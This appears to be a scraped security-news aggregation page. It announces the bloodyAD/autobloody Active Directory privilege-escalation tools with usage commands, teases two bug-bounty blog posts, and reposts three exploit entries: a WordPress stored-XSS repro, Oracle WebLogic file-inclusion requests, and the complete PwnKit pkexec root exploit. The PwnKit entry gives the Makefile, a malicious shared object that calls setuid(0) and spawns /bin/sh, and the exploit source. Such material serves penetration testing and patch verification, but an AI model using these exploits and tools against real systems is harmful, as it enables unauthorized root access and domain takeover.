BloodyAD - An Active Directory Privilege Escalation Framework
http://www.kitploit.com/2022/01/bloodyad-active-directory-privilege.html

bloodyAD Description This tool can perform specific LDAP/SAMR calls to a domain controller in order to perform AD privesc. Requirements The following are required: Python 3 DSinternals Impacket Ldap3 Use the requirements.txt for your virtual environment: pip3 install -r requirements.txt Usage Simple usage: python bloodyAD.py --host 172.16.1.15 -d MYDOM -u myuser -p :70016778cb0524c799ac25b439bd6a31 changePassword mytarget 'Password123!' List of all available functions: [bloodyAD]$ python bloodyAD.py -h
usage: bloodyAD.py [-h] [-d DOMAIN] [-u USERNAME] [-p PASSWORD] [-k] [-s {ldap,ldaps,rpc}] [--host HOST] {getGroupMembers,
getObjectAttributes, getObjectSID, addUser, addComputer, delObject, changePassword, addObjectToGroup, addForeignObjectToGroup,
delObjectFromGroup, getObjectsInOu, getOusInOu, getUsersInOu, getComputersInOu, addDomainSync, delDomainSync, addRbcd, delRbcd,
addShadowCredentials, delShadowCredentials, modifyGpoACL, setDontReqPreauthFlag, setAccountDisableFlag}
...

Active Directory Privilege Escalation Framework

Main options:
-h, --help show this help message and exit
-d DOMAIN, --domain DOMAIN
Domain used for NTLM authentication
-u USERNAME, --username USERNAME
Username used for NTLM authentication
-p PASSWORD, --password PASS WORD
Cleartext password or LMHASH:NTHASH for NTLM authentication
-k, --kerberos
-s {ldap,ldaps,rpc}, --scheme {ldap,ldaps,rpc}
Use LDAP over TLS (default is LDAP)
--host HOST Hostname or IP of the DC (ex: my.dc.local or 172.16.1.3)

Commands:
{getGroupMembers, getObjectAttributes, getObjectSID, addUser, addComputer, delObject, changePassword, addObjectToGroup,
addForeignObjectToGroup, delObjectFromGroup, getObjectsInOu, getOusInOu, getUsersInOu, getComputersInOu, addDomainSync,
delDomainSync, addRbcd, delRbcd, addShadowCredentials, delShadowCredentials, modifyGpoACL, setDontReqPreauthFlag,
setAccountDisableFlag} Function to call Help text to use a specific function: [bloodyAD]$ python bloodyAD.py --host 172.16.1.15 -d MYDOM -u myuser -p :70016778cb0524c799ac25b439bd6a31 changePassword -h
usage:
Change the target password without knowing the old one using LDAPS or RPC
Args:
identity: sAMAccountName, DN, GUID or SID of the target (You must have write permission on it)
new_pass: new password for the target

[-h] [func_args ...]

positional arguments:
func_args

optional arguments:
-h, --help show this help message and exit How it works bloodyAD communicates with a DC using mainly the LDAP protocol in order to get information or add/modify/delete AD objects. A password cannot be updated with LDAP, it must be a secure connection that is LDAPS or SAMR. A DC doesn't have LDAPS activated by default because it must be configured (with a certificate) so SAMR is used in those cases. autobloody Description This tool automate the AD privesc between two AD objects, the source (the one we own) and the target (the one we want) if a privesc path exists. The automation (https://www.kitploit.com/search/label/Automation) is split in two parts: pathgen.py to find the optimal path for privesc using bloodhound data and neo4j queries. autobloody.py to execute the path found with pathgen.py Requirements The following are required: Python 3 DSinternals Impacket Ldap3 BloodHound Neo4j python driver Neo4j with the GDS library (https://neo4j.com/docs/graph-data-science/current/installation/) How to use it First data must be imported into BloodHound (e.g using SharpHound or BloodHound.py) and Neo4j must be running. Simple usage: pathgen.py -dp neo4jPass -ds 'OWNED_USER@ATTACK.LOCAL' -dt 'TARGET_USER@ATTACK.LOCAL' && autobloody.py -d ATTACK -u 'owned_user' -p 'owned_user_pass' --host 172.16.1.15 Full help for pathgen.py: $ python pathgen.py -h

usage: pathgen.py [-h] [--dburi DBURI] [-du DBUSER] -dp DBPASSWORD -ds DBSOURCE -dt DBTARGET [-f FILEPATH]

Active Directory Privilege Escalation Framework

optional arguments:
-h, --help show this help message and exit
--dburi DBURI The host neo4j is running on. Default: localhost.
-du DBUSER, --dbuser DBUSER
Neo4j username to use
-dp DBPASSWORD, --dbpassword DBPASSWORD
Neo4j password to use
-ds DBSOURCE, --dbsource DBSOURCE
Label of the source node
-dt DBTARGET, --dbtarget DBTARGET
Label of the target node
-f FILEPATH, --filepath FILEPATH
File path for the graph path file (default is path.json) Full help for autobloody.py: $ python autobloody.py -h
usage: autobloody.py [-h] [-d DOMAIN] [-u USERNAME] [-p PASSWORD] [-k] [-s {ldap,ldaps,rpc}] --host HOST [--path PATH]

Active Directory Privilege Escalation Framework

optional arguments:
-h, --help show this help message and exit
-d DOMAIN, --domain DOMAIN
Domain used for NTLM authentication
-u USERNAME, --username USERNAME
Username used for NTLM authentication
-p PASSWORD, --password PASSWORD
Cleartext password or LMHASH:NTHASH for NTLM authentication
-k, --kerberos
-s {ldap,ldaps,rpc}, --scheme {ldap,ldaps,rpc}
Use LDAP over TLS (default is LDAP)
--host HOST Hostname or IP of the DC (ex: my.dc.local or 172.16.1.3)
--path PATH Path file (to generate with pathgen.py)
How it works First pathgen.py generates a privesc path using the Dijkstra's algorithm implemented into the Neo4j's GDS library. The Dijkstra's algorithm allows to solve the shortest path problem on a weighted graph. By default the edges created by bloodhound don't have weight but a type (e.g MemberOf, WriteOwner). A weight is then added to each edge accordingly to the type of the edge and the type of the node reached (e.g user,group,domain). Once a path is generated and stored as a json file, autobloody.py will connect to the DC and execute the path and clean what is reversible (everything except password change).

Download bloodyAD (https://github.com/CravateRouge/bloodyAD)

How I was able to get HOF in one of the world’s leading hotel brands by 30 mins of googling.
https://yashdharmani.medium.com/how-i-was-able-to-get-hof-in-one-of-the-worlds-leading-hotel-brands-by-30-mins-of-googling-dc427662dc12?source=rss------bug_bounty-5

Hey Folks! Yash Dharmani (H1GH4T) here, Hope you’re all doing good.Continue reading on Medium » (https://yashdharmani.medium.com/how-i-was-able-to-get-hof-in-one-of-the-worlds-leading-hotel-brands-by-30-mins-of-googling-dc427662dc12?source=rss------bug_bounty-5)

The Story of a RCE on a Java Web Application

It was about two months ago (November 2021) I was invited to a private program. According to their program scope, I decided to hack them…Continue reading on Medium »
Read more...

Exploit Collector
WordPress Mortgage Calculators WP 1.52 Cross Site Scripting

https://2.bp.blogspot.com/-U4x-65bW3GQ/WWlvNN9osvI/AAAAAAAAIMY/h5EIQTz5wbsbDMf6z0LfMa0yML4cI035gCLcBGAs/s1600/h21.png
WordPress Mortgage Calculators WP plugin version 1.52 suffers from a persistent cross site scripting vulnerability.

MD5 | 244a7ae033a33d6c4e56be58e6a7618c

Download
# Exploit Title: WordPress Plugin Mortgage Calculators WP 1.52 - Stored Cross-Site Scripting (XSS) (Authenticated)
# Date: 25-10-2021
# Exploit Author: Ceylan Bozogullarindan
# Vendor Homepage: https://lenderd.com/
# Software Link: https://mortgagecalculatorsplugin.com/
# Version: 1.52
# Tested on: Linux
# CVE : CVE-2021-24904 (https://wpscan.com/vulnerability/7b80f89b-e724-41c5-aa03-21d1eef50f21)
# Description:
The plugin gives users real-time estimates by providing mortgage calculators. It does not implement any sanitisation on the color value of the background of a calculator in admin panel, which could lead to authenticated Stored Cross-Site Scripting issues. An attacker can execute malicious javascript codes for all visitors of a page containing the calculator.
# Steps To Reproduce:
1. Go to settings page available under the "Calculator" menu item.
2. Click the "Select Color" button and type the following payload the input space: `hacked`
3. Click the "Save Changes" button to save settings.
4. Create a new page and add the shortcode ([mcwp type="cv"]) of the calculator, for testing.
5. Visit the page to trigger XSS.


Source:packetstormsecurity.com

Exploit Collector
Oracle WebLogic Server 14.1.1.0.0 Local File Inclusion

https://4.bp.blogspot.com/-hp3wB9AXd0k/WWlvDY5V44I/AAAAAAAAIKs/ScSIhWVAvDAhjeMkIwqbNby9r3gKQvOEgCLcBGAs/s1600/h128.png
Oracle WebLogic Server suffers from a local file inclusion vulnerability. Versions affected include 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0.

MD5 | ee531447f09be86139ecc9c82f1bf2e0

Download
# Exploit Title: Oracle WebLogic Server 14.1.1.0.0 - Local File Inclusion
# Date: 25/1/2022
# Exploit Author: Jonah Tan (@picar0jsu)
# Vendor Homepage: https://www.oracle.com
# Software Link:
https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html
# Version: 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0
# Tested on: Windows Server 2019
# CVE : CVE-2022-21371

# Description
Vulnerability in the Oracle WebLogic Server product of Oracle Fusion
Middleware (component: Web Container).
Supported versions that are affected are 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0
and 14.1.1.0.0.
Easily exploitable vulnerability allows unauthenticated attacker with
network access via HTTP to compromise Oracle WebLogic Server.
Successful attacks of this vulnerability can result in unauthorized access
to critical data or complete access to all Oracle WebLogic Server
accessible data.

# PoC
GET .//META-INF/MANIFEST.MF
GET .//WEB-INF/web.xml
GET .//WEB-INF/portlet.xml
GET .//WEB-INF/weblogic.xml


Source:packetstormsecurity.com

Exploit Collector
PolicyKit-1 0.105-31 Privilege Escalation

https://3.bp.blogspot.com/-UEPmQpzFyCs/WWlvQSuTgiI/AAAAAAAAINA/LFaHvgtClFA67K--PZO5ZJSS69Dsl8UBACLcBGAs/s1600/h31.png
PolicyKit-1 version 0.105-31 pkexec local privilege escalation exploit.

MD5 | 306be3c9311743edfa3eecbd845b8ac0

Download
# Exploit Title: PolicyKit-1 0.105-31 - Privilege Escalation
# Exploit Author: Lance Biggerstaff
# Original Author: ryaagard (https://github.com/ryaagard)
# Date: 27-01-2022
# Github Repo: https://github.com/ryaagard/CVE-2021-4034
# References: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt

# Description: The exploit consists of three files `Makefile`, `evil-so.c` & `exploit.c`

##### Makefile #####

all:
gcc -shared -o evil.so -fPIC evil-so.c
gcc exploit.c -o exploit

clean:
rm -r ./GCONV_PATH=. && rm -r ./evildir && rm exploit && rm evil.so

#################

##### evil-so.c #####

#include <stdio.h
#include <stdlib.h
#include <unistd.h

void gconv() {}

void gconv_init() {
setuid(0);
setgid(0);
setgroups(0);

execve("/bin/sh", NULL, NULL);
}

#################

##### exploit.c #####

#include <stdio.h
#include <stdlib.h

#define BIN "/usr/bin/pkexec"
#define DIR "evildir"
#define EVILSO "evil"

int main()
{
char *envp[] = {
DIR,
"PATH=GCONV_PATH=.",
"SHELL=ryaagard",
"CHARSET=ryaagard",
NULL
};
char *argv[] = { NULL };

system("mkdir GCONV_PATH=.");
system("touch GCONV_PATH=./" DIR " && chmod 777 GCONV_PATH=./" DIR);
system("mkdir " DIR);
system("echo 'module\tINTERNAL\t\t\tryaagard//\t\t\t" EVILSO "\t\t\t2' > " DIR "/gconv-modules");
system("cp " EVILSO ".so " DIR);

execve(BIN, argv, envp);

return 0;
}

#################

Source:packetstormsecurity.com